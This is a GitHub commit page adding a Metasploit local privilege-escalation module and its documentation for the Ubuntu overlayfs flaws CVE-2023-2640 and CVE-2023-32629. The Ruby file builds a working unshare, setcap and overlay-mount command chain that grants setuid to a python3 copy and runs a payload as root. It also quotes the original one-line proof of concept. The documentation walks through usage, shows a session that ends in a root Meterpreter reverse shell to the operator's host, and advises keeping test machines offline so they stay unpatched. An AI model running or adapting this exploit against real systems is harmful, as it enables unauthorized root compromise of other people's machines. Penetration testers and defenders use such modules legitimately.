Skip to content

Commit 7ddffc7

Browse files
authored
Merge pull request rapid7#19460 from gardnerapp/game_overlay
Land rapid7#19460, CVE-2023-2640, CVE-2023-32629 Game Overlay Ubuntu Privilege Escalation
2 parents 37eaa29 + b7f4771 commit 7ddffc7

File tree

2 files changed

+344
-0
lines changed

2 files changed

+344
-0
lines changed
Lines changed: 157 additions & 0 deletions
Original file line numberDiff line numberDiff line change
@@ -0,0 +1,157 @@
1+
## Description
2+
3+
CVE-2023-2640 and CVE-2023-32629 are vulnerabilities that allow for the arbitrary setting of
4+
capabilities while overlaying filesystems. On most Linux Kernels during the execution of
5+
`ovl_do_setxattr` an intermediate function `vfs_setxatrr` converts file capabilities in a
6+
way that limits them to the current namespace. However, on some versions of the Ubuntu kernel
7+
`_vfs_setxattr_noperm` is called directly without calling `vfs_setxattr`.
8+
9+
When a new namespace is created the user will technically be "root" within that given
10+
namespace. This module will take advantage of this by setting the `CAP_SETUID` capability
11+
on a system binary. It will then perform filesystem overlay, copying the binary into the lower
12+
directory. Because of the flaws described above when the binary is transferred into the upper
13+
directory its capabilities will not be sanitized and persist in the "normal" namespace.
14+
15+
## Vunerable Application
16+
17+
These vulnerabilities are somewhat unique in that they effect a wide variety of Ubuntu releases
18+
and kernel versions, as described in the list below.
19+
20+
Ubuntu 23.04 (Lunar Lobster)m kernel 6.2.0, (CVE-2023-2640 & CVE-2023-32629)
21+
22+
Ubuntu 22.10 (Kinetic Kudu), kernel -> 5.19.0, (CVE-2023-2640 & CVE-2023-32629)
23+
24+
Ubuntu 22.04 LTS (Jammy Jellyfish), kernel -> 5.19.0, (CVE-2023-2640 & CVE-2023-32629)
25+
26+
Ubuntu 22.04 LTS (Jammy Jellyfish), kernel -> 6.2.0, (CVE-2023-2640 & CVE-2023-32629)
27+
28+
Ubuntu 20.04 LTS (Focal Fossa), kernel -> 5.4.0, (CVE-2023-32629)
29+
30+
Ubuntu 18.04 LTS (Bionic Beaver), kernel -> 5.4.0, (CVE-2023-32629)
31+
32+
The user can download a vulnerable version, for example:
33+
34+
```
35+
sudo apt update
36+
sudo apt install -y linux-image-5.19.0-41-generic linux-headers-5.19.0-41-generic
37+
reboot
38+
```
39+
While testing, @bwatters7 mentioned taking the system offline as this appears to be patched automatically.
40+
Be sure to take the system offline to prevent the vulnerabilities from silently being patched.
41+
42+
This module has successfully been tested on the following:
43+
44+
Ubuntu 22.04 LTS (Jammy Jellyfish) 5.19.0-41-generic
45+
46+
Ubuntu 20.04 LTS (Focal Fossa) 5.4.0-1018-aws
47+
48+
## Verification Steps
49+
50+
1). Start `msfconsole`
51+
52+
2). Get a session on a vulnerable system
53+
54+
3). Use `exploit/linux/local/gameoverlay_privesc`
55+
56+
4). Optional: choose target for payload, either linux binary (0) or [li|u]nix command (1)
57+
`set target 1`
58+
59+
5). Set session `set session [SESSION]`
60+
61+
5). Do. `run`
62+
63+
6). You should get a new session running as root.
64+
65+
## Options
66+
67+
### Payload File Name
68+
Name of the file storing the payload, default is random.
69+
70+
### Writable Dir
71+
The name of a directory with write permissions, default is `/tmp`. This will be where the
72+
payload file will be created if necessary. Additionally during the exploit a series of directories will be
73+
created here to perform the filesystem overlaying.
74+
75+
## Scenarios
76+
77+
You have a non-root session on one of the systems described above. Please note that this
78+
module will automatically run checks to determine if the system is vulnerable, you can disable
79+
this with `set AutoCheck False`.
80+
81+
```
82+
msf6 exploit(linux/local/gameoverlay_privesc) >
83+
[*] Sending stage (3045380 bytes) to 10.5.132.129
84+
[*] Meterpreter session 3 opened (10.5.135.201:4585 -> 10.5.132.129:33504) at 2024-12-18 14:02:15 -0600
85+
86+
msf6 exploit(linux/local/gameoverlay_privesc) > set session 3
87+
session => 3
88+
msf6 exploit(linux/local/gameoverlay_privesc) > show options
89+
90+
Module options (exploit/linux/local/gameoverlay_privesc):
91+
92+
Name Current Setting Required Description
93+
---- --------------- -------- -----------
94+
PayloadFileName pSueaCXrnzH yes Name of payload
95+
SESSION 3 yes The session to run this module on
96+
WritableDir /tmp yes A directory where we can write files
97+
98+
99+
Payload options (linux/x64/meterpreter/reverse_tcp):
100+
101+
Name Current Setting Required Description
102+
---- --------------- -------- -----------
103+
LHOST 10.5.135.201 yes The listen address (an interface may be specified)
104+
LPORT 4444 yes The listen port
105+
106+
107+
Exploit target:
108+
109+
Id Name
110+
-- ----
111+
0 Linux_Binary
112+
113+
114+
115+
View the full module info with the info, or info -d command.
116+
117+
msf6 exploit(linux/local/gameoverlay_privesc) > run
118+
119+
[*] Started reverse TCP handler on 10.5.135.201:4444
120+
[*] Running automatic check ("set AutoCheck false" to disable)
121+
[*] Detected Ubuntu version: Jammy Jellyfish
122+
[*] Detected kernel version: 5.19.0-41-generic
123+
[+] The target is vulnerable. Jammy Jellyfish with 5.19.0-41-generic kernel is vunerable
124+
[*] Creating directory to store payload: /tmp/ODBpneOXk/
125+
[*] Creating directory /tmp/ODBpneOXk/
126+
[*] /tmp/ODBpneOXk/ created
127+
[*] Creating directory /tmp/ODBpneOXk/
128+
[*] Creating directory /tmp/ODBpneOXk/
129+
[*] /tmp/ODBpneOXk/ created
130+
[*] Creating directory /tmp/ODBpneOXk/bmbtPAX/
131+
[*] Creating directory /tmp/ODBpneOXk/bmbtPAX/
132+
[*] /tmp/ODBpneOXk/bmbtPAX/ created
133+
[*] Creating directory /tmp/ODBpneOXk/JtNbwLXJKw/
134+
[*] Creating directory /tmp/ODBpneOXk/JtNbwLXJKw/
135+
[*] /tmp/ODBpneOXk/JtNbwLXJKw/ created
136+
[*] Creating directory /tmp/ODBpneOXk/hEhbByWL/
137+
[*] Creating directory /tmp/ODBpneOXk/hEhbByWL/
138+
[*] /tmp/ODBpneOXk/hEhbByWL/ created
139+
[*] Creating directory /tmp/ODBpneOXk/yvvSFre/
140+
[*] Creating directory /tmp/ODBpneOXk/yvvSFre/
141+
[*] /tmp/ODBpneOXk/yvvSFre/ created
142+
[*] Writing payload: /tmp/ODBpneOXk/pSueaCXrnzH
143+
[*] Transmitting intermediate stager...(126 bytes)
144+
[*] Sending stage (3045380 bytes) to 10.5.132.129
145+
[*] rm: cannot remove '/tmp/ODBpneOXk/yvvSFre/': Device or resource busy
146+
[*] Meterpreter session 4 opened (10.5.135.201:4444 -> 10.5.132.129:44400) at 2024-12-18 14:02:42 -0600
147+
148+
meterpreter > getuid
149+
Server username: root
150+
meterpreter > sysinfo
151+
Computer : 10.5.132.129
152+
OS : Ubuntu 22.04 (Linux 5.19.0-41-generic)
153+
Architecture : x64
154+
BuildTuple : x86_64-linux-musl
155+
Meterpreter : x64/linux
156+
157+
```
Lines changed: 187 additions & 0 deletions
Original file line numberDiff line numberDiff line change
@@ -0,0 +1,187 @@
1+
class MetasploitModule < Msf::Exploit::Local
2+
3+
prepend Msf::Exploit::Remote::AutoCheck
4+
include Msf::Post::Linux::System
5+
include Msf::Post::Linux::Kernel
6+
include Msf::Post::File
7+
include Msf::Exploit::FileDropper
8+
include Msf::Exploit::EXE
9+
10+
def initialize(info = {})
11+
super(
12+
update_info(
13+
info,
14+
'Name' => 'GameOver(lay) Privilege Escalation and Container Escape',
15+
'Description' => %q{
16+
This module exploits the use of unsafe functions in a number of Ubuntu kernels
17+
utilizing vunerable versions of overlayfs. To mitigate CVE-2021-3493 the Linux
18+
kernel added a call to vfs_setxattr during ovl_do_setxattr. Due to independent
19+
changes to the kernel by the Ubuntu development team __vfs_setxattr_noperm is
20+
called during ovl_do_setxattr without calling the intermediate safety function
21+
vfs_setxattr. Ultimatly this module allows for root access to be achieved by
22+
writing setuid capabilities to a file which are not sanitized after being unioned
23+
with the upper mounted directory.
24+
},
25+
'License' => MSF_LICENSE,
26+
'Author' => [
27+
'g1vi', # PoC
28+
'h00die', # Module Suggestion
29+
'bwatters-r7', # MsF Module
30+
'gardnerapp', # MsF Module
31+
],
32+
'Platform' => ['linux', 'unix'],
33+
'SessionTypes' => ['shell', 'meterpreter'],
34+
'DisclosureDate' => '2023-07-26',
35+
'References' => [
36+
['URL', 'https://www.crowdstrike.com/blog/crowdstrike-discovers-new-container-exploit/'],
37+
['URL', 'https://github.com/g1vi/CVE-2023-2640-CVE-2023-32629'],
38+
['URL', 'https://www.cvedetails.com/cve/CVE-2023-2640/'],
39+
['URL', 'https://www.cvedetails.com/cve/CVE-2023-32629/'],
40+
['URL', 'https://www.wiz.io/blog/ubuntu-overlayfs-vulnerability'],
41+
['CVE', '2023-32629'],
42+
['CVE', '2023-2640']
43+
],
44+
'Targets' => [
45+
[
46+
'Linux_Binary',
47+
{
48+
'Arch' => [ ARCH_AARCH64, ARCH_X64 ],
49+
'PrependSetuid' => true
50+
}
51+
],
52+
[
53+
'Linux_Command',
54+
{
55+
'Arch' => ARCH_CMD,
56+
'Payload' =>
57+
{
58+
'BadChars' => "\x22\x27"
59+
}
60+
}
61+
]
62+
],
63+
'Notes' => {
64+
'Stability' => [CRASH_SAFE],
65+
'Reliability' => [REPEATABLE_SESSION],
66+
'SideEffects' => [ARTIFACTS_ON_DISK]
67+
}
68+
)
69+
)
70+
register_options [
71+
OptString.new('WritableDir', [true, 'A directory where we can write files', '/tmp']),
72+
OptString.new('PayloadFileName', [true, 'Name of payload', Rex::Text.rand_text_alpha(rand(8..12))])
73+
]
74+
end
75+
76+
def vuln
77+
# Keys are ubuntu versions, vals is list of vunerable kernels
78+
{
79+
"Lunar Lobster": %w[6.2.0], # Ubuntu 23.04
80+
"Kinetic Kudu": %w[5.19.0], # Ubuntu 22.10
81+
"Jammy Jellyfish": %w[5.19.0 6.2.0], # Ubuntu 22.04 LTS
82+
"Focal Fossa": %w[5.4.0], # Ubuntu 20.04 LTS
83+
"Bionic Beaver": %w[5.4.0] # Ubuntu 18.04 LTS
84+
}.transform_keys!(&:to_s) # w/o this key will be :"Bionic Beaver"
85+
end
86+
87+
def check
88+
return CheckCode::Safe('Target is not linux.') unless session.platform == 'linux'
89+
90+
# Must be Ubuntu
91+
return CheckCode::Safe('Target is not Ubuntu.') unless kernel_version =~ /[uU]buntu/
92+
93+
os = cmd_exec 'cat /etc/os-release'
94+
95+
# grab codename i.e. Focal Fossa
96+
codename = os.scan(/\(\w* \w*\)/)[0]
97+
98+
# Remove '(' and ')'
99+
codename.delete_prefix!('(').delete_suffix!(')')
100+
101+
print_status "Detected Ubuntu version: #{codename}"
102+
103+
# uname -r
104+
# yields something like 5.4.0-1018-blah
105+
kernel = kernel_release
106+
print_status "Detected kernel version: #{kernel}"
107+
108+
# Make sure release is running vunerable kernel
109+
# will this return in correct context??
110+
# could scan kernel to prevent looping if return below doesn't work
111+
vuln[codename].each do |version|
112+
if kernel.include? version
113+
return CheckCode::Vulnerable "#{codename} with #{kernel} kernel is vunerable"
114+
end
115+
end
116+
117+
return CheckCode::Safe('Target does not appear to be running a vunerable Ubuntu Distro or Kernel')
118+
end
119+
120+
def exploit
121+
pay_dir = datastore['WritableDir']
122+
pay_dir += '/' unless pay_dir.ends_with? '/'
123+
124+
pay_dir += Rex::Text.rand_text_alpha(rand(6..13)) + '/'
125+
126+
print_status "Creating directory to store payload: #{pay_dir}"
127+
mkdir pay_dir
128+
129+
directories = []
130+
directories << pay_dir
131+
132+
lower_dir = pay_dir + Rex::Text.rand_text_alpha(rand(6..13)) + '/'
133+
directories << lower_dir
134+
135+
upper_dir = pay_dir + Rex::Text.rand_text_alpha(rand(6..13)) + '/'
136+
directories << upper_dir
137+
138+
work_dir = pay_dir + Rex::Text.rand_text_alpha(rand(6..13)) + '/'
139+
directories << work_dir
140+
141+
merge_dir = pay_dir + Rex::Text.rand_text_alpha(rand(6..13)) + '/'
142+
directories << merge_dir
143+
144+
bash_copy = '/var/tmp/' + Rex::Text.rand_text_alpha(rand(6..13))
145+
# bash_copy = '/var/tmp/bash'
146+
147+
directories.each do |dir|
148+
print_status "Creating directory #{dir}"
149+
mkdir dir.to_s
150+
end
151+
152+
if target.arch.first == ARCH_CMD
153+
payload_cmd = payload.encoded
154+
else
155+
pay_file = datastore['PayloadFilename']
156+
payload_path = "#{pay_dir}#{pay_file}"
157+
print_status "Writing payload: #{payload_path}"
158+
write_file(payload_path, generate_payload_exe)
159+
payload_cmd = payload_path
160+
end
161+
162+
# g1vi original
163+
# "unshare -rm sh -c \"mkdir l u w m && cp /u*/b*/p*3 l/;setcap cap_setuid+eip l/python3;mount -t overlay overlay -o rw,lowerdir=l,upperdir=u,workdir=w m && touch m/*;\" && u/python3 -c 'import os;os.setuid(0);os.system(\"cp /bin/bash /var/tmp/bash && chmod 4755 /var/tmp/bash && /var/tmp/bash -p && rm -rf l m u w /var/tmp/bash\")'"
164+
165+
# Exploit overlayfs vuln
166+
# Build the command
167+
rmrf_cmd = " rm -rf #{lower_dir} #{merge_dir} #{upper_dir} #{work_dir} #{bash_copy}"
168+
169+
exploit_cmd = 'unshare -rm sh -c "'
170+
exploit_cmd << "cp #{cmd_exec('which python3')} #{lower_dir}; "
171+
exploit_cmd << "setcap cap_setuid+eip #{lower_dir}python3; "
172+
exploit_cmd << "mount -t overlay overlay -o rw,lowerdir=#{lower_dir},upperdir=#{upper_dir},workdir=#{work_dir} #{merge_dir} && "
173+
exploit_cmd << "touch #{merge_dir}*; "
174+
exploit_cmd << "#{upper_dir}python3 -c 'import os;os.setuid(0);os.system("
175+
exploit_cmd << "\\\"cp /bin/bash #{bash_copy} && chmod +x #{bash_copy} && "
176+
if target.arch.first == ARCH_CMD
177+
payload_cmd.gsub!('\\\\\\', '\\\\\\\\')
178+
exploit_cmd << "#{bash_copy} -p -c \\\\\\\"(#{payload_cmd}); #{rmrf_cmd}\\\\\\\""
179+
else
180+
exploit_cmd << "chmod +x #{payload_cmd} && #{payload_cmd} & #{rmrf_cmd}"
181+
end
182+
exploit_cmd << "\\\")'\""
183+
output = cmd_exec(exploit_cmd)
184+
vprint_status(output)
185+
end
186+
187+
end

0 commit comments

Comments
 (0)